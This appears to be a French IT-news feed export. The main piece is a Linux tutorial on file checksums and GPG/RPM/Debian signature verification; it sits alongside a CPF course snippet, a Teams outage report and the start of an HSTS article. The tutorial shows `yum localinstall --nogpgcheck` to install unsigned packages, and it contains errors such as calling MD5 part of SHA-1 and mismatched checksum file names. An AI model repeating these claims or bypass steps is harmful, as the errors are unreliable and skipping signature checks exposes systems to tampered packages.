<p>Pour faciliter l'ouverture du CPF, l'État a mis en place l'<strong>application mobile moncompteformation</strong>. Pour sélectionner la formation en anglais et l'acheter en ligne via votre téléphone, il vous suffit donc de télécharger l'application, puis de renseigner votre numéro de sécurité sociale, puis créer un mot de passe.</p>
<p>Une fois votre inscription validée, il ne vous restera plus qu'à vérifier votre solde CPF dans la rubrique « Mon compte », ou à le calculer en reportant votre nombre d'heures de DIF.</p>
<p>Ensuite, passez à l'onglet « Recherche », et tapez l'objet de votre recherche : <strong>formation anglais</strong>,<strong> cours anglais</strong>,<strong> anglais commercial</strong>, etc. Vous devez aussi indiquer la modalité de formation souhaitée et la zone géographique où vous désirez vous former.</p>
<p>Vous devrez ensuite consulter et remplir la fiche détaillée de la formation que vous choisissez, et enfin, envoyer votre demande d'inscription.</p>
<p><strong>[VIDÉO] Exemple d'un salarié du domaine de l'IT (Société : Digimium) qui à mobilisé son Compte Personnel de Formation #CPF pour se former à l'anglais (Organisme de formation : Lingueo) :</strong></p>
<p><iframe style="display: block; margin-left: auto; margin-right: auto;" src="https://www.youtube.com/embed/YGAuw9BJA8w" width="500" height="375" frameborder="0" allowfullscreen="allowfullscreen"></iframe></p>


feed_id: https://www.it-connect.fr/?p=34327
title: Gestion d’empreinte numérique sur Linux
uri: Gestion-d-empreinte-numérique-sur-Linux
url: https://www.it-connect.fr/gestion-dempreinte-numerique-sur-linux/
content:
<h2>I. Présentation</h2>
<p>Comme sous GNU/Linux tout est fichier, il convient de vérifier systématiquement la provenance des éléments téléchargés ainsi que ceux déjà en place sur le système. Pour cela, on doit alors <strong>calculer une empreinte de l’élément en question : fichier ou téléchargement</strong>. On parle aussi de <em>fingerprint</em>, de <em>message-digest</em> ou encore de <em>checksum</em>. Il s’agit d’une valeur de 128 bits correspondant à une somme de contrôle, calculée à partir de l’élément quel qu’il soit : archive, fichier(s), image ISO…</p>
<blockquote><p><strong><em>REMARQUE</em> </strong>: on parle également de l’empreinte d’un fichier comme d’un <em>hash</em> ou d’une somme de contrôle. En ce qui concerne ce billet, nous nous intéresserons tout particulièrement aux éléments téléchargés, pus qu’à ceux déjà en place qui nécessitent un autre type d’outil appelé IDS (<span style="color: #ffff00;"><strong><em>I</em></strong></span><em>ntrusion <span style="color: #ffff00;"><strong>D</strong></span>etection <span style="color: #ffff00;"><strong>S</strong></span>ystem</em>) qui fera l’objet d’un autre tutoriel.</p></blockquote>
<p>Je vous propose de détailler ici le processus de vérification des différents éléments que l’on peut télécharger sur des sites référencés, tels que fichiers, archives, image ISO ou encore système complexes. Un checksum MD5 n’a d’autre but que de garantir la provenance du fichier d’origine voire d’un groupe de fichiers. Son intérêt majeur est de permettre la vérification de l’intégrité des données ainsi récupérées. Cela couvre le risque d’une perturbation ou d’un problème réseau, ayant pour conséquence, lors d’un téléchargement, de corrompre une archive ou un fichier en cours de déploiement. Mais, cela permet aussi de s’assurer qu’aucune attaque d’individus peu scrupuleux, détournant ou falsifiant les fichiers vitaux du système, n’a eu lieu.</p>
<blockquote><p><strong><em>REMARQUE</em> </strong>: il existe différents formats d’algorithmes de calcul d’empreinte : SHA-1, SHA-2 et même, aujourd’hui, SHA-3. MD5 est l’une des fonctions de l’algorithme SHA-1 qui est normalement obsolète. Il est conseillé d’utiliser les fonctions de l’algorithme SHA-2. Mais, pour des besoins de calculs et de vérifications rapides, on peut toutefois encore utiliser <em>md5sum</em>.</p></blockquote>
<p>En résumé, en comparant l’empreinte MD5 (ou autre) du fichier que l’on souhaite récupérer à celle que le site de téléchargement nous fournit, on peut ainsi être certain que l’élément récupéré correspond bien à celui distribué officiellement par le site de récupération et qu’il n’a été en aucune manière corrompu. On garantit ainsi qu’il s’agit bien du même fichier et que ce dernier est entier (non tronqué) et surtout non falsifié.</p>
<h2>II. Un peu d'histoire</h2>
<p>Les fonctions de hachage MD5 ont été inventées en 1991. Mais, en 1996, deux éventualités de collision ont été découvertes via ces mêmes fonctions. Cela signifie qu’avec deux entrées différentes, on peut réussir à obtenir la même signature d’empreinte. Cela a été conforté par la découverte en 2004 de véritables collisions complètes. Par ailleurs, ce genre de signature peut être facilement cassée grâce à des attaques de type arc-en-ciel (aussi appelée <em>rainbow table</em>).</p>
<p>Ce genre de problématique correspond en cryptanalyse à une structure de données, permettant de retrouver un mot de passe à partir de son empreinte. Il s’agit d’une amélioration des compromis temps-mémoire proposé par Martin HELLMAN dans les années 1980. La table arc-en-ciel est constituée de paires de mot de passe où chaque ligne est composée d’un mot de passe de départ et un mot de passe d’arrivée. Ainsi, pour calculer la table, on établit des chaînes grâce à un mot de passe initial. Celui-ci subit une série de réductions et de hachage afin d’obtenir des éléments intermédiaires (avec mot de passe et empreintes correspondantes).</p>
<p>La fonction de réduction transforme une empreinte en un nouveau mot de passe. Afin d’éviter les problèmes de collision, plusieurs fonctions de réductions doivent être utilisées. Ainsi, après plusieurs milliers d’itérations, on obtient un mot de passe en bout de chaîne. C’est celui-ci qui sera stocké avec le mot de passe d’origine de cette chaîne. Le reste de la chaîne n’est alors pas conservée afin de limiter l’utilisation de la mémoire nécessaire.</p>
<blockquote><p><strong><em>REMARQUE</em> :</strong> il est toutefois possible de retrouver les différentes étapes intermédiaires en calculant l’ensemble de la chaîne à partir de l’élément en tête de liste.</p></blockquote>
<p>On recommence avec un autre mot de passe pour établir une nouvelle chaîne et ainsi de suite jusqu’à la constitution d’une nouvelle table dont les statistiques soient suffisantes pour garantir le succès de l’attaque.</p>
<p><em><u>Exemple</u></em> : <em>table arc-en-ciel avec trois fonctions de réduction :</em></p>
<p><img class="aligncenter size-medium wp-image-34328" src="media/980175af.00.rainbow-table-550x211.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/00.rainbow-table-550x211.png" alt="" width="550" height="211" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/00.rainbow-table-550x211.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/00.rainbow-table-800x308.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/00.rainbow-table-150x57.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/00.rainbow-table-768x294.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/00.rainbow-table-160x61.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/00.rainbow-table-50x19.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/00.rainbow-table.png 804w" sizes="(max-width: 550px) 100vw, 550px" /></p>
<p>En parallèle, l’algorithme de hachage SHA-1 a été publié en 1995. Mais, de la même manière que pour MD5, des chercheurs ont mis en évidence des attaques possibles contre ce mécanisme et cela a très vite été remplacé par l’algorithme SHA-2, fournissant alors des fonctions plus complexes telles que SHA-224 (avec la commande <em>sha224sum</em>), SHA-256 (avec la commande <em>sha256sum</em>), SHA-384 (avec la commande <em>sha384sum</em>) et SHA-512 (et la commande <em>sha512sum</em>). Depuis 2015, il existe même un algorithme SHA-3 encore plus complexe.</p>
<h2>III. Utilitaire md5sum</h2>
<p>Sous GNU/Linux, l’utilitaire <em>md5sum</em> est en général partie intégrante de la distribution. Si toutefois ce n’était pas le cas, on peut installer le package <em>coreutils </em>afin de permettre de disposer de la fonctionnalité d’empreinte MD5 et de sa commande <em>md5sum</em>. Tout ce qu’il y a à faire alors est de se placer dans le répertoire contenant l’élément à vérifier et à exécuter la commande suivante :</p>
<pre>$ md5sum Fichier</pre>
<p><em><u>Exemple</u></em> : <em>pour effectuer la vérification du fichier /etc/passwd :</em></p>
<pre>$ md5sum passwd
2d8d90df3c4b84eb9e281a3f10767aa5 passwd</pre>
<p>Bien évidemment, si l’on ne se trouve pas dans le dossier ou répertoire du fichier à vérifier, il faut alors fournir le chemin d’accès à celui-ci en absolu (en d’autres termes le chemin complet) :</p>
<pre>$ md5sum /etc/passwd</pre>
<p>On peut alors facilement imaginer vérifier n’importe quel type de fichier, comme par exemple une archive compressée au format <em>.tar.gz</em> (ou même au format <em>.tar.xz</em>) :</p>
<pre>$ md5sum LibreOffice_6.3.4_Linux_x86-64.tar.gz</pre>
<p>La valeur affichée doit bien sûr être la même que celle fournie par l’éditeur (ou l’auteur dans le cas d’un package), de l’élément à télécharger, qu’il s’agisse d’un package, d’une archive ou d’une image ISO. On peut facilement rediriger l’empreinte récupérée dans un fichier texte en vue d’effectuer des traitements ou des comparaisons ultérieurement :</p>
<pre>$ md5sum Fichier &gt; Fichier.cksum</pre>
<p>Ensuite, pour effectuer la vérification, on peut alors exécuter la commande suivante permettant de vérifier la présence de n’importe quel changement :</p>
<pre>$ md5sum -v -c Fichier.mksum</pre>
<p>Cela fonctionne aussi avec d’autres fonctions de calcul d’empreinte tels que <em>sha256sum</em> ou <em>sha512sum</em> qui sont moins risqués. De plus, si un fichier comporte une anomalie ou une différence par rapport à l’original, <em>md5sum</em> le signalera automatiquement.</p>
<blockquote><p><strong><em>REMARQUE</em> </strong>: il est possible de réaliser l’empreinte de plusieurs fichiers en simultané grâce à l’instruction suivante (ou en combinant avec une commande <em>find</em>) :</p></blockquote>
<pre style="padding-left: 40px;">$ md5sum Fichier1 Fichier2</pre>
<p>De façon générale, on peut formaliser le calcul de l’empreinte d’un fichier de la façon suivante :</p>
<pre>$ echo -n “MonFichier“|md5sum 2d8d90df3c4b84eb9e281a3f10767aa5 -</pre>
<blockquote><p><strong><em>ATTENTION</em></strong> : si l’on souhaite calculer l’empreinte d’une chaîne de caractères (ou d’un mot de passe) cela est tout à fait possible mais il faut alors exécuter la commande suivante :</p></blockquote>
<pre style="padding-left: 40px;">$ echo -n “Chaine“|md5sum &lt;Digest Chaine&gt;</pre>
<h2>IV. Vérification d'archives</h2>
<p>En ce qui concerne les archives, qui contiennent la plupart du temps des systèmes plus complexes, voire des applications ou des suites logicielles, on peut bien sûr continuer d’utiliser <em>md5sum</em>, mais il est fortement conseillé d’utiliser à la place <em>sha256sum</em> (ou mieux encore <em>sha512sum</em>).</p>
<p><strong><em>REMARQUE</em> :</strong> ce que l’on vient de dire des archives est également vrai pour des fichiers de type image ISO.</p>
<p>En fait, MD5 permet de garantir l’intégrité des données, mais pas nécessairement leur provenance. Pour cela, on doit utiliser un autre outil. Par exemple, si l’on se réfère aux archives du code source du noyau linux disponible sur le serveur <a href="http://ftp.lip6.fr/pub/linux/kernel/sources/"><em>http://ftp.lip6.fr/pub/linux/kernel/sources/</em></a> (quel que soit la version jusqu’à v4.x), on remarquera des fichiers au suffixe évocateur <em>.sign</em> contenant des lignes comme celle décrite ci-dessous :</p>
<pre>----BEGIN PGP SIGNATURE-----
-----END PGP SIGNATURE-----</pre>
<p>Il s’agit en fait d’un fichier de signature GPG (anciennement PGP – <strong><em>P</em></strong><em>retty <strong>G</strong>ood <strong>P</strong>rivacy</em> passée sous licence privée et remplacée par <strong><em>G</em></strong><em>nu <strong>P</strong>rivacy <strong>G</strong>uard</em>), permettant de garantir la provenance dudit fichier. Les signatures de ce type reposent sur une méthode de chiffrement à clé publique. Cela permet à un développeur (ou un groupe de développeurs de signer de manière électronique son œuvre : un fichier de code, une archive, un message voire même une image ISO, en utilisant sa clé secrète (aussi appelée clé privée). Cette dernière ne devrait (et ne doit d’ailleurs jamais) être divulguée publiquement.</p>
<p>Afin de vérifier une signature, on utilise alors l’homologue de la clé privée, appelée par opposition : clé publique.  Celle-ci, en revanche est mise à la disposition de tous et est présente d’ordinaire dans un serveur de clés. Si l’on reprend l’exemple du code source du noyau linux il nous faut alors récupérer la clé publique correspondant au projet de “<em>Kernel Linux</em>“. Dans le cadre de projets reconnus, si les développeurs sont consciencieux on devrait systématiquement trouver une page dédiée au signalement du numéro de clé à utiliser. En ce qui concerne le noyau linux, on trouve cette page à l’adresse suivante <a href="http://www.kernel.org/signature.html"><em>http://www.kernel.org/signature.html</em></a>. Ainsi, la clé recherchée est 0x517D0F0E.</p>
<blockquote><p><strong><em>REMARQUE</em> :</strong> généralement sur cette même page on dispose également des empreintes de chaque développeur du projet, comme c’est le cas du projet du noyau linux :</p>
<p><img class="aligncenter size-medium wp-image-34330" src="media/29395247.01.table-fingerprint-550x115.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/01.table-fingerprint-550x115.png" alt="" width="550" height="115" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/01.table-fingerprint-550x115.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/01.table-fingerprint-800x167.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/01.table-fingerprint-150x31.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/01.table-fingerprint-768x160.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/01.table-fingerprint-160x33.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/01.table-fingerprint-50x10.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/01.table-fingerprint.png 943w" sizes="(max-width: 550px) 100vw, 550px" /></p></blockquote>
<p>Ainsi, pour poursuivre la démarche et récupérer la clé publique du projet (qu’il s’agisse d’une image ISO ou d’archives), il nous faut utiliser le logiciel <span style="color: #3366ff;"><strong><em>G</em></strong></span><em>nu <span style="color: #3366ff;"><strong>P</strong></span>rivacy <span style="color: #3366ff;"><strong>G</strong></span>uard</em> (autrement dit : <em>gpg</em>). Si celui-ci n’est pas encore installé, il faut pour cela exécuter la commande suivante :</p>
<pre>$ yum install gnupg</pre>
<blockquote><p><strong><em>REMARQUE</em> </strong>: sur une distribution Debian ou Ubuntu, la commande utilisera plutôt le gestionnaire de package <em>apt</em> :</p></blockquote>
<pre style="padding-left: 40px;">$ apt-get install gnupg</pre>
<p>Après quoi, on peut alors récupérer la clé publique souhaitée en exécutant l’instruction ci-dessous :</p>
<pre>$ gpg --keyserver wwwkeys.pgp.net --recv-keys 0x517D0F0E
gpg: requête de la clé 517D0F0E de wwwkeys.pgp.net...
gpg: clé 517D0F0E: clé publique importée
gpg:        Quantité totale traitée: 1
gpg:                             importée: 1</pre>
<p>Dès lors, on peut alors vérifier la validité de l’archive en combinant maintenant l’ensemble des informations :</p>
<ul>
<li>Clé publique : <em>contenu du fichier de signature</em></li>
<li>Archive : <em>linux-4.18.7.tar.xz</em> (à décompresser avec l’utilitaire <em>unxz</em>)</li>
<li>Fichier de signature : <em>linux-4.18.7.tar.sign</em></li>
</ul>
<pre>$ gpg –verify linux-4.18.7.tar.sign linux-4.18.7.tar.xz</pre>
<blockquote><p><em><strong>REMARQUE </strong></em>: depuis quelques temps déjà il existe une version plus récente de <em>gpg</em> appelée <em>gpg2</em>. De plus, dans la documentation officielle le serveur de clé à interroger est généralement <em>hkp://keys.gnupg.net</em>. Mais, la plupart du temps on n’arrive pas à récupérer les clés publiques. Il vaut mieux en cas de message d’erreur interroger <em>hkp://pgp.mit.edu</em>.</p></blockquote>
<p>D’ailleurs en utilisant cette nouvelle version, on dispose également de l’information du développeur concerné par ce code :</p>
<pre>$ gpg2 –keyserver hkp://pgp.mit.edu –recv-keys &lt;PubKey&gt;</pre>
<p>Cela permet d’afficher alors le résultat sous la forme suivante :</p>
<p><img class="aligncenter size-medium wp-image-34331" src="media/51715018.02.result-keyserver-550x107.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/02.result-keyserver-550x107.png" alt="" width="550" height="107" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/02.result-keyserver-550x107.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/02.result-keyserver-800x155.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/02.result-keyserver-150x29.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/02.result-keyserver-768x149.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/02.result-keyserver-160x31.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/02.result-keyserver-50x10.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/02.result-keyserver.png 943w" sizes="(max-width: 550px) 100vw, 550px" /></p>
<p>On constate ainsi que dans le cas présent le développeur n’est autre que Greg KROAH-HARTMAN, membre éminent de l’équipe de développement du noyau linux, aux côtés de Linux TORVALDS, que l’on peut joindre à l’adresse <a href="mailto:greg@kroah.com"><em>greg@kroah.com</em></a>. Ainsi, on est certain qu’il ne s’agit pas d’un vague développeur au fond d’un garage qui est l’auteur de ce code et on valide ainsi la provenance de la source du téléchargement.</p>
<h2>IV. Vérification du paquetage</h2>
<p>Peut-être le savez-vous, mais les paquetages (qu’il s’agisse de <em>.rpm </em>ou de <em>.deb)</em> sont également équipés d’un mécanisme de signature PGP permettant, comme on l’a vu précédemment avec les archives (ou les images ISO) de vérifier l’intégrité du téléchargement et la provenance dudit package.</p>
<blockquote><p><em><strong>REMARQUE</strong></em> : la vérification d’intégrité de paquetage ne vaut que pour un fichier à télécharger, non encore installé sur le système. Par ailleurs, dans la majorité des cas, les paquetages récupérés appartiennent à des dépôts officiels et/ou déclarés : CentOS, RHEL, Fedora…</p></blockquote>
<p>Par défaut, l’utilitaire <em>yum</em> vérifie l’intégrité des paquets qu’il installe en utilisant la clé GPG du dépôt. Cette vérification permet de confirmer l’origine “contrôlée“ du paquet et d’assurer que celui-ci n’a pas été altéré depuis sa mise en ligne, volontairement (acte de piratage) ou non (problème de téléchargement). Lorsque la vérification échoue il est déconseillé d’installer le paquet incriminé. Toutefois, on peut malgré tout passer outre et effectuer la vérification à l’aide de l’utilitaire <em>rpm</em>. Prenons comme hypothèse de travail, que nous souhaitions installer le package <em>postfix </em>sur notre serveur et que pour cela, nous devons le télécharger depuis le site <a href="https://centos.pkgs.org/7/centos-x86_64/postfix-2.10.1-7.el7.x86_64.rpm.html"><em>https://centos.pkgs.org/7/centos-x86_64/postfix-2.10.1-7.el7.x86_64.rpm.html</em></a>. Après avoir récupéré le package, il est alors possible d’utiliser la commande suivante :</p>
<pre>$ rpm --checksig postfix-2.10.1-7.el7.x86_64.rpm</pre>
<p>Dans ce cas, soit on a préalablement chargé la signature et on recevra un message comme celui-ci-dessous :</p>
<pre>postfix-2.10.1-7.el7.x86_64.rpm: md5 gpg OK</pre>
<p>Dans le cas contraire, on recevra le message suivant :</p>
<pre>postfix-2.10.1-7.el7.x86_64.rpm: digests SIGNATURES PAS OK.</pre>
<blockquote><p><strong><em>ATTENTION </em></strong>: lorsqu’on se retrouve avec un paquet <em>rpm</em> non signé à installer (ce qui n’est généralement pas le cas d’un paquet issu d’un dépôt officiel), on peut tout de même l’installer via la commande suivante :</p></blockquote>
<pre style="padding-left: 40px;"># yum localinstall –nogpgcheck &lt;Package&gt;.rpm</pre>
<p>Enfin, si l’on dispose du fichier de signature <em>.asc</em> correspondant au paquet récupéré, il suffit alors d’exécuter la commande suivante pour l’intégrer au système :</p>
<pre># rpm --import postfix.asc</pre>
<p>On peut également effectuer cette opération d’import à partir d’une adresse URL. Par exemple, pour intégrer la signature de MySQL, on pourrait exécuter :</p>
<pre># rpm --import http://dev.mysql.com/doc/refman/5.1/en/checking-gpg-signature.html</pre>
<p>On rappelle également que dans les fichiers <em>.repo</em> de déclaration de dépôts, on trouve un champ <strong><em>gpgcheck</em></strong> (ainsi que <strong><em>enabled</em></strong> pour l’activation ou non de cette option) et le champ <strong><em>gpgkey</em></strong> fournissant les indications de récupération des signatures.</p>
<p>En ce qui concerne les paquets <em>.deb</em> des distribution Debian, on trouve également un moyen de vérifier que le paquet à installer provient bien de son mainteneur et qu’il n’a subi aucune altération. On parle de scellement de paquets. La signature, en tant que telle ne se fait pas directement au niveau du paquet mais au niveau de la Release et de sa signature <em>Release.gpg</em>. Ce fichier est placé sur les miroirs Debian indiqué dans le fichier <em>/etc/apt/sources.list</em>. Il fournit la liste des différents fichiers <em>Packages</em>, accompagnés de leur somme de contrôle MD5, SHA1 et SHA256. Ces dernières permettant de vérifier que le contenu du paquet n’a pas été altéré.</p>
<p>Les fichiers <em>Packages</em> intègrent à leur tour une liste de paquets Debian ainsi que leur somme de contrôle afin de garantir que leur contenu n’a pas lui non plus été altéré. La gestion des clés de confiance s’effectue via l’utilitaire <em>apt-key</em>, fourni par le package <em>apt</em>. Ce dernier tient à jour un trousseau de clés publiques GPG, utilisées pour vérifier les signatures des différents fichiers <em>Release.gpg</em> obtenus depuis le ou les miroirs Debian.</p>
<blockquote><p><em><strong>REMARQUE</strong></em> : on peut bien sûr se servir de ce programme pour ajouter manuellement des clés supplémentaires (lorsqu’on souhaite ajouter des miroirs autres que les officiels). Mais, dans le cas courant, seules les clés officielles Debian sont vraiment utiles.</p></blockquote>
<p>Les clés sont automatiquement maintenues à jour par le package <em>debian-archive-keyring</em> qui installe les trousseaux de clés dans le répertoire <em>/etc/apt/trusted.gpg.d</em>. Toutefois, on notera que la première installation de ce même paquet pose problème car, même s’il est signé (comme les autres packages), cette signature ne peut être à son tour vérifiée de façon externe. Aussi, le principe consiste-t-il à vérifier les empreintes (aussi appelées <em>fingerprints</em>) des clés importées, avant de leur faire aveuglément confiance et d’installer de nouveaux paquets. Pour se faire, il suffit d’exécuter la commande suivante :</p>
<pre># apt-key fingerprints</pre>
<p>Ce genre de commande permet de lister, pour une distribution Debian, les empreintes (ou <em>fingerprints</em>) des clés importées. En les comparant avec celle du package à télécharger, cela permettra de leur faire confiance ou non avant leur installation :</p>
<p><img class="aligncenter size-medium wp-image-34332" src="media/5f2f2420.04.fingerprints-550x225.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/04.fingerprints-550x225.png" alt="" width="550" height="225" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/04.fingerprints-550x225.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/04.fingerprints-800x327.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/04.fingerprints-150x61.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/04.fingerprints-768x314.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/04.fingerprints-160x65.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/04.fingerprints-50x20.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/04.fingerprints.png 824w" sizes="(max-width: 550px) 100vw, 550px" /></p>
<p><em><u>Exemple</u></em> : <em>fichier xz-utils.md5sums contenant les empreintes des fichiers du package xz-utils</em><em> :</em></p>
<p><img class="aligncenter size-medium wp-image-34333" src="media/2cdf5f61.03.fichier-md5sums-550x168.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/03.fichier-md5sums-550x168.png" alt="" width="550" height="168" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/03.fichier-md5sums-550x168.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/03.fichier-md5sums-150x46.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/03.fichier-md5sums-768x234.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/03.fichier-md5sums-160x49.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/03.fichier-md5sums-50x15.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/03.fichier-md5sums.png 770w" sizes="(max-width: 550px) 100vw, 550px" /></p>
<p>Cet outil permet de générer des listes de sommes de contrôle à partir des archives <em>.deb</em> pour des paquets n‘en possédant pas. Toutefois, là encore, ce programme, s’il n’a pas été lancé depuis un média sûr avec une version déjà vérifiée de <em>debsums</em>. Du coup, des outils associés pour valider les autres paquets déjà installés, ne seront pas d’une grande utilité en matière de sécurité et d’intégrité.</p>
<h2>V. Conclusion</h2>
<p>Lors de la durée de vie du système d’exploitation vous pourrez aussi être amenés à utiliser des outils gérant l’intégrité des fichiers de l’ordinateur à posteriori tels que <em>tripwire</em>, <em>AIDE, integrit</em> ou d’autres outils du même genre.</p>
<p>Voilà, vous pouvez maintenant vous consacrer à vos empreintes. Vous savez désormais tout ou presque concernant l’intégrité et l’identification de la provenance de vos téléchargements. Alors j’espère que désormais afin de limiter le risque potentiel de virus, de vers ou d’autres attaques sournoises sur vos systèmes vous penserez à vérifier l’un et l’autre dès lors que vos effectuerez un chargement de fichiers, d’image ISO ou de paquetages.</p>


feed_id: https://www.it-connect.fr/?p=34726
title: Coronavirus : le télétravail a eu raison de Microsoft Teams
uri: Coronavirus-le-télétravail-a-eu-raison-de-Microsoft-Teams
url: https://www.it-connect.fr/coronavirus-le-teletravail-a-eu-raison-de-microsoft-teams/
content:
<p><strong>Un grand test de résistance attend le Cloud Computing à cause du confinement imposé par le Coronavirus puisque de nombreuses personnes vont découvrir le télétravail. Microsoft Teams a déjà lâché mais il n'est pas le seul.</strong></p>
<p>Des perturbations sont survenues toute la journée de lundi 15 mars, avant que l'ensemble des fonctionnalités soient disponibles vers 17H30, après avoir débutée vers 08h30. Microsoft a réalisé plusieurs corrections suite aux investigations réalisées. L'afflux de connexions depuis l'Europe est parvenu à perturber l'infrastructure Cloud de Microsoft qui est pourtant l'une des plus utilisées de la planète. Un bon test en matière de scalabilité.</p>
<p>Dans le même temps, les services de l'Education nationale inquiètent les parents et les professeurs, car ils n'ont pas résisté à cet afflux de connexion. C'est le cas également des VPN d'entreprise qui permettent l'accès aux ressources internes et notamment à certaines applications.</p>
<p>Avec les nouvelles mesures prises par l'Etat, le nombre de personnes en télétravail va continuer d'augmenter. Le Cloud Computing est-il prêt ? Les infrastructures des opérateurs le sont-elles ? Nous aurons rapidement des éléments de réponse à ce sujet, mais c'est à espérer.</p>
<p><em>Note : Le numéro d'incident associé est le TM206544.</em></p>


feed_id: https://www.it-connect.fr/?p=34306
title: HSTS – HTTP Strict Transport Security.. et BurpSuite
uri: HSTS-HTTP-Strict-Transport-Security-et-BurpSuite
url: https://www.it-connect.fr/hsts-http-strict-transport-security-et-burpsuite/
content:
<h2>I. Présentation</h2>
<p>Dans cet article, nous allons nous intéresser au mécanisme et à la fonction de l'HSTS - HTTP Strict Transport Security. Nous finirons par un point de détail qui peut poser problème lors de l'utilisation d'un proxy (type BurpSuite) lorsque HSTS est implémenté sur un site web.</p>
<h2>II. HSTS - Qu'est-ce que c'est ?</h2>
<p>Le but principale d'HSTS est de renforcé la sécurité d'un site web et de ses utilisateur via deux actions :</p>
<ul>
<li>Remplacer tous les liens non sécurisés (HTTP) par des liens sécurisés (HTTPS). Le site devient alors <em>full-HTTPS</em></li>
<li>Afficher un message d'erreur en cas de connexion non sécurisée, exemple : certificat auto-signé ou signé par une une a<em>utorité de certification</em> (CA) non reconnue par le navigateur</li>
</ul>
<p>Il arrive en effet que la sécurité des transmissions effectuées via HTTPS soit mise à mal, et ceci via différents scénarios :</p>
<ul>
<li>Lorsqu'un attaquant souhaite écouter les transmissions réseau et que l'HTTPS est utilisé,<strong> il peut mettre en place une attaque MITM</strong> (<em>Man-In-The-Middle</em>), puis SSLStrip. Concrètement, cette attaque consiste à se positionner entre les deux parties de la communication (client-serveur) puis à remplacer à la volée le certificat utilisé entre le client et le serveur. En imposant son propre certificat au client, l'attaquant est alors en mesure de lire les informations (déchiffrées) envoyées par le client. Côté client, cette attaque peut être détectée par un changement du certificat utilisé lors des transmission HTTPS. Celui-ci devient un <strong>certificat auto-signé</strong>, que tous les navigateurs mettent en avant en forçant une validation explicite de l'utilisateur.</li>
</ul>
<ul>
<li>Dans d'autres scénarios, on retrouve des cas où le cookie de session utilisé n'implémente pas le <strong>flag Secure</strong> (qui impose un envoi des cookies uniquement par connexion sécurisée - HTTPS). Je vous oriente vers mon précédent article pour plus d'information (<a href="https://ogma-sec.fr/securite-sites-web-lutilite-flags-secure-httponly/" target="_blank" rel="noopener noreferrer">Sécurité des sites web : L’utilité des flags Secure et HttpOnly</a>). Lorsqu'un utilisateur est en possession d'un cookie de session et qu'il transmet au serveur ce cookie via une requête HTTP, alors le cookie de session est envoyé en clair sur le réseau.</li>
</ul>
<p>Nous venons ici de voir les deux contextes où HSTS peut être mis en place afin de renforcer la sécurité d'un site web et de ses visiteurs.</p>
<ul>
<li>Dans le contexte du MITM/SSLStrip, HSTS va permet au navigateur de strictement refuser la connexion. Concrètement, cela va se traduire par une <strong>impossibilité pour l'utilisateur d'effectuer les actions manuelles permettant l'utilisation du certificat auto-signé</strong>. Si le certificat est auto-signé ou signé par un CA non reconnu par le navigateur, alors la communication est impossible.</li>
</ul>
<ul>
<li>Dans le cas d'une transmission HTTP, HSTS va ordonner au navigateur de leur interdire tout échange pour le domaine/site concerné. Outre l'utilisation du flag "Secure" qui permet de résoudre ce problème, HSTS permet alors de protéger les cookies contre les écoutes réseaux lors des transmissions HTTP, toutes les requêtes HTTP seront remplacées par des requêtes HTTPS avant leur envoie. Ainsi même si le site web est techniquement disponible en HTTP (port 80), le navigateur utilisera forcément l'HTTPS.</li>
</ul>
<blockquote><p><strong>Note</strong> : Tous les navigateurs possèdent une liste des autorités de certifications de confiance, lorsqu'un site web présente un certificat signé par l'une de ces autorités de certification (CA), alors le certificat est dit "<em>de confiance</em>", autrement, le navigateur émet une alerte.</p></blockquote>
<h2>III. Fonctionnement de HSTS</h2>
<p>HSTS est défini par le serveur, c'est une instruction que le serveur web va passer au navigateur du visiteur. De son côté, le navigateur saura alors de quelle manière interagir avec le serveur. En exemple, voici l'entête HTTP réponse d'un serveur configuré pour utiliser HSTS :</p>
